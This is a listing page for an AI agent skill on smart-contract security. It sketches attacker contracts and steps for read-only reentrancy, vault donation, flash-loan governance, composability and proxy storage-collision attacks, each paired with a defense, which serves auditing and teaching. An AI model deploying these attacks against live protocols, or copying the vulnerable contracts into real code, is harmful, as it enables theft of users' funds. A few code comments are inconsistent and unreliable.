# Advanced Exploit Patterns

> Advanced Exploit Patterns

- Skill: `nickgallick/advanced-exploit-patterns` (Agent Skill)
- Install (CLI): `npx skillmds@latest add nickgallick/advanced-exploit-patterns`
- Raw SKILL.md: https://api.skillmd.com/api/skills/nickgallick/advanced-exploit-patterns/raw
- Safety review: pending (external: skill-scanner PASS, skillspector PASS)
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: nickgallick (https://skillmd.com/u/nickgallick)
- Updated: 2026-09-21
- Page: https://skillmd.com/skills/nickgallick/advanced-exploit-patterns

---

# Advanced Exploit Patterns

## Read-Only Reentrancy

The subtlest and most underappreciated reentrancy variant.

**The Attack**:
1. Protocol A calls an external contract (token, callback)
2. During that call, before A's state is fully updated, attacker's contract calls a VIEW function on Protocol A
3. The view function returns stale/intermediate state
4. Protocol B (integrated with A) reads that stale value and makes a wrong decision

```solidity
// VULNERABLE: Curve-style pool + lending protocol integration
contract CurveLikePool {
    uint256 public totalSupply;  // LP token supply

    function remove_liquidity(uint256 amount) external nonReentrant {
        // Burns LP tokens first
        totalSupply -= amount;

        // Then sends ETH to user — this is the external call
        // If user is a contract, their receive() fires HERE
        // At this point: totalSupply is already decreased, but
        // the pool still has the ETH (it hasn't been sent yet in some patterns)
        (bool ok,) = msg.sender.call{value: ethAmount}("");
        require(ok);
    }

    // VIEW function — looks safe but is read during intermediate state
    function get_virtual_price() external view returns (uint256) {
        return poolAssets / totalSupply;  // WRONG during the callback above
    }
}

contract AaveLikeProtocol {
    function getCollateralValue(address lpToken) external view returns (uint256) {
        // Uses Curve's virtual price as collateral value
        uint256 virtualPrice = ICurve(lpToken).get_virtual_price();
        return lpTokenBalance * virtualPrice;
    }
}

// ATTACKER
contract ReadOnlyReentrancyAttack {
    ICurvePool curve;
    IAave aave;

    receive() external payable {
        // We're inside Curve's remove_liquidity, after totalSupply decreased
        // but before ETH was sent. Virtual price is temporarily inflated.
        // NOW we can borrow more than our collateral is actually worth.

        uint256 inflatedValue = aave.getCollateralValue(address(curve));
        aave.borrow(inflatedValue * 80 / 100); // Borrow based on fake value
    }

    function attack() external {
        curve.remove_liquidity(1000);
        // During this call, receive() fires and borrows at inflated price
        // We now have a loan worth more than our actual collateral
    }
}
```

**Defense**: Protocol B must NOT read from Protocol A during any state where A could be mid-execution. Use ReentrancyGuard on critical reads, or snapshot prices at safe points.

## Donation Attacks on Vaults

```solidity
// VULNERABLE ERC-4626 vault (no virtual shares)
contract VulnerableVault is ERC4626 {
    // shares = amount * totalSupply / totalAssets
    // On first deposit: totalSupply=0, totalAssets=0 → shares = amount (fine)

    function previewDeposit(uint256 assets) public view returns (uint256 shares) {
        uint256 supply = totalSupply();
        return supply == 0 ? assets : assets * supply / totalAssets();
    }
}

// ATTACK:
contract VaultAttack {
    function attack(VulnerableVault vault, IERC20 token) external {
        // Step 1: First deposit — 1 wei → get 1 share
        token.approve(address(vault), 1);
        vault.deposit(1, address(this));
        // State: 1 share, 1 asset

        // Step 2: DONATE (direct transfer, NOT through vault)
        token.transfer(address(vault), 1_000_000e18);
        // State: 1 share, 1_000_001e18 assets
        // Share price: 1,000,001,000,000,000,000,000 per share

        // Step 3: Victim deposits 500_000e18 tokens
        // shares = 500_000e18 * 1 / 1_000_001e18 ≈ 0 (rounds down to 0!)
        // Victim gets 0 shares → effectively donated their tokens to attacker

        // Step 4: Attacker redeems 1 share → gets ~1_500_000e18 tokens
    }
}
```

**Defense** (OpenZeppelin v4.9+ approach — virtual shares):
```solidity
function totalAssets() public view override returns (uint256) {
    return super.totalAssets() + 10**decimals(); // Virtual assets offset
}

function totalSupply() public view override returns (uint256) {
    return super.totalSupply() + 10**decimals(); // Virtual shares offset
}
// Now even with 1 wei deposit: share price = (1 + offset) / (1 + offset) = 1
// Donation attack becomes prohibitively expensive
```

## Governance Attacks

### Flash Loan Governance
```solidity
// VULNERABLE: snapshot at vote time, not proposal time
contract VulnerableGovernor {
    function castVote(uint256 proposalId, uint8 support) external {
        uint256 weight = token.balanceOf(msg.sender); // WRONG — live balance
        // Attacker can flash loan tokens, vote, return tokens in one tx
    }
}

// SAFE: OpenZeppelin Governor — snapshot at proposal creation block
function castVote(uint256 proposalId, uint8 support) external {
    uint256 weight = token.getPastVotes(msg.sender, proposalSnapshot(proposalId));
    // Flash loans can't affect past snapshots
}
```

### Short-and-Distort Attack
```
1. Attacker builds large short position on Protocol X's token
2. Attacker submits governance proposal that would harm the protocol
3. Community debates, FUD spreads, uncertainty → token price drops
4. Attacker profits from short position
5. Attacker may not even want the proposal to pass — just the price impact
```
Defense: High proposal thresholds + timelocks so community can exit before damage.

## Cross-Protocol Composability Attacks

```
Protocol A: Curve 3pool (USDC/USDT/DAI)
Protocol B: Aave uses Curve 3pool LP as collateral
Protocol C: Synthetix uses Aave as liquidity source

Attack: Flash loan $500M USDC
  → Dump into Curve 3pool (pool severely imbalanced)
  → Curve LP virtual_price drops significantly
  → Aave sees LP collateral value drop
  → Healthy Aave positions become liquidatable
  → Liquidate them at discount
  → Repay flash loan
  → Profit from liquidations

This attack crosses 3 protocols. No single protocol has a bug.
The vulnerability is in the COMPOSITION.
```

**Defense pattern**: Each protocol that uses another's price must defend against manipulation of that price. TWAPs, circuit breakers, independent oracle verification.

## Proxy Storage Collision (Real Attack Vectors)

```solidity
// ATTACK SETUP: Malicious implementation with storage collision
contract MaliciousImplementation {
    // Storage slot 0 is the first variable in the proxy (admin address)
    // The proxy stores implementation address at slot 0
    // This implementation ALSO uses slot 0, but as a different variable

    uint256 public evil; // Slot 0 — SAME slot as proxy's implementation address!

    function initialize(address admin) external {
        evil = uint256(uint160(admin)); // Overwrites proxy's implementation pointer!
        // Now proxy.implementation = attacker's address
        // Next delegatecall goes to attacker's code
    }
}
```

**Defense**: EIP-1967 — store implementation at `keccak256("eip1967.proxy.implementation") - 1`. This is a pseudo-random slot that no normal variable would collide with.

## Supply Chain Attacks

```bash
# Real npm typosquatting examples that have occurred:
npm install @openzepellin/contracts  # typo (extra 'l') — malicious package
npm install hardhat-ethers           # vs the real @nomiclabs/hardhat-ethers
npm install web-3                    # vs web3

# Once installed, these can:
# 1. Steal private keys from hardhat.config.js
# 2. Inject backdoors into deployment scripts
# 3. Modify compiled bytecode before deployment
```

**Defense checklist**:
```bash
# 1. Verify package authenticity
npm audit
npx npq install @openzeppelin/contracts  # NPQ warns about new packages

# 2. Pin exact versions in package.json
"@openzeppelin/contracts": "4.9.3"  # Not "^4.9.3"

# 3. Use package-lock.json / yarn.lock — commit and verify
git diff package-lock.json  # Review changes carefully

# 4. Verify checksums
sha256sum node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol

# 5. Use Slither on deployed bytecode vs expected bytecode
cast code 0xDeployedAddress | diff - expectedBytecode
```

## Compiler Vulnerability Awareness

Always check before using a compiler version:
- Solidity: https://github.com/ethereum/solidity/blob/develop/docs/bugs.json
- Vyper: https://github.com/vyperlang/vyper/security/advisories

Known critical bugs:
| Version | Bug | Impact |
|---------|-----|--------|
| Vyper 0.2.15-0.3.0 | Reentrancy guard broken | CRITICAL — Curve $70M exploit |
| Solidity <0.8.0 | No overflow checks | HIGH — use SafeMath or upgrade |
| Solidity 0.4.x | Multiple issues | Avoid entirely |

**Rule**: Always deploy with the latest stable compiler version unless you have a specific reason not to. When using older versions, document why and verify the specific version doesn't have known bugs relevant to your code.

